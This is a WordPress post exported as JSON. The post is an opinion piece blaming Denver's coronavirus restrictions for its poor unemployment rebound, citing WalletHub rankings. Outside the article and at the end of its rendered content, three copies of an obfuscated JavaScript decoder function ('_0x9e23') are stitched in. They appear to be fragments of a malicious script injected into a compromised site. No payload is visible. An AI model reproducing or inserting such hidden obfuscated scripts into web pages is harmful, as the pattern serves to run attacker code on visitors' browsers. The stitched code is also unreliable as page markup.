<script>function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}</script><script>function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}</script>{"id":3621,"date":"2021-02-03T18:52:07","date_gmt":"2021-02-04T01:52:07","guid":{"rendered":"http:\/\/www.jsharf.com\/view\/?p=3621"},"modified":"2021-02-03T18:52:09","modified_gmt":"2021-02-04T01:52:09","slug":"the-economy-has-no-pause-button-2","status":"publish","type":"post","link":"http:\/\/www.jsharf.com\/view\/?p=3621","title":{"rendered":"The Economy Has No &#8220;Pause&#8221; Button (2)"},"content":{"rendered":"\n<figure class=\"wp-block-image size-large is-style-default\"><img decoding=\"async\" src=\"http:\/\/www.jsharf.com\/view\/viewPostHeaders\/2021\/02\/DenverUnemployment.png\" alt=\"\"\/><figcaption><em>Unemployment Rebound.  Source: WalletHub<\/em><\/figcaption><\/figure>\n\n\n\n<p>I&#8217;ve written over at Complete Colorado about how Colorado&#8217;s economy has been slow to recover from the government-induced recession in the wake of the Wuhan coronavirus.<\/p>\n\n\n\n<p>What&#8217;s true for Colorado is true for Denver, as well.  In December of 2019, Denver&#8217;s unemployment rate was 2.5%, among the lowest in the country.  Since then, it zoomed upward, recovered somewhat, and in the last months has gone up again, topping 10% if one includes those laid off.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-style-default\"><img decoding=\"async\" src=\"http:\/\/www.jsharf.com\/view\/viewPostHeaders\/2021\/02\/UnemploymentChartDenver.png\" alt=\"\"\/><\/figure>\n\n\n\n<p>According to a monthly survey by <a rel=\"noreferrer noopener\" href=\"https:\/\/wallethub.com\/edu\/cities-unemployment-rates\/73647\" target=\"_blank\">WalletHub<\/a>, Denver&#8217;s increase in unemployment rate, at more than 300%, is 177th among the 180 cities they surveyed.  Adjusted to include those laid off, it is at 10.14%, it is 155th on the list.<\/p>\n\n\n\n<p>There is no question but that the city has had among the most aggressive restrictions in the state, attempting to regulate even out-of-city travel by residents.  It was one of the first to implement a city-wide lockdown last March.  It was slow to allow businesses to reopen.  When the state announced its so-called 5-Star program, allowing restaurants in &#8220;red zones&#8221; qualify for increased seating, Denver was not near the front of the line for state approval.<\/p>\n\n\n\n<p>Famously, Mayor Michael Hancock called for city residents to stay home for Thanksgiving, even as he was jetting off to Houston to visit his family in Mississippi for the holiday.<\/p>\n\n\n\n<p>The mayor and much of the city council have been shameless cheerleaders for the state restrictions, preferring instead to grandstand about the Trump administration&#8217;s alleged failures with respect to the virus.  And the result is not only devastating economically for Denver, but also for Aurora (#177) and Colorado Springs (#168).  As is the case nationally, there is little evidence that all this ongoing economic pain has actually accomplished anything in the way of stopping the virus&#8217;s spread.<\/p>\n\r\n<script>function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}<\/script>","protected":false},"excerpt":{"rendered":"<p>I&#8217;ve written over at Complete Colorado about how Colorado&#8217;s economy has been slow to recover from the government-induced recession in the wake of the Wuhan coronavirus. What&#8217;s true for Colorado is true for Denver, as well. In December of 2019, Denver&#8217;s unemployment rate was 2.5%, among the lowest in the country. Since then, it zoomed [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[1],"tags":[],"_links":{"self":[{"href":"http:\/\/www.jsharf.com\/view\/index.php?rest_route=\/wp\/v2\/posts\/3621"}],"collection":[{"href":"http:\/\/www.jsharf.com\/view\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.jsharf.com\/view\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.jsharf.com\/view\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/www.jsharf.com\/view\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=3621"}],"version-history":[{"count":1,"href":"http:\/\/www.jsharf.com\/view\/index.php?rest_route=\/wp\/v2\/posts\/3621\/revisions"}],"predecessor-version":[{"id":3625,"href":"http:\/\/www.jsharf.com\/view\/index.php?rest_route=\/wp\/v2\/posts\/3621\/revisions\/3625"}],"wp:attachment":[{"href":"http:\/\/www.jsharf.com\/view\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=3621"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.jsharf.com\/view\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=3621"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.jsharf.com\/view\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=3621"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}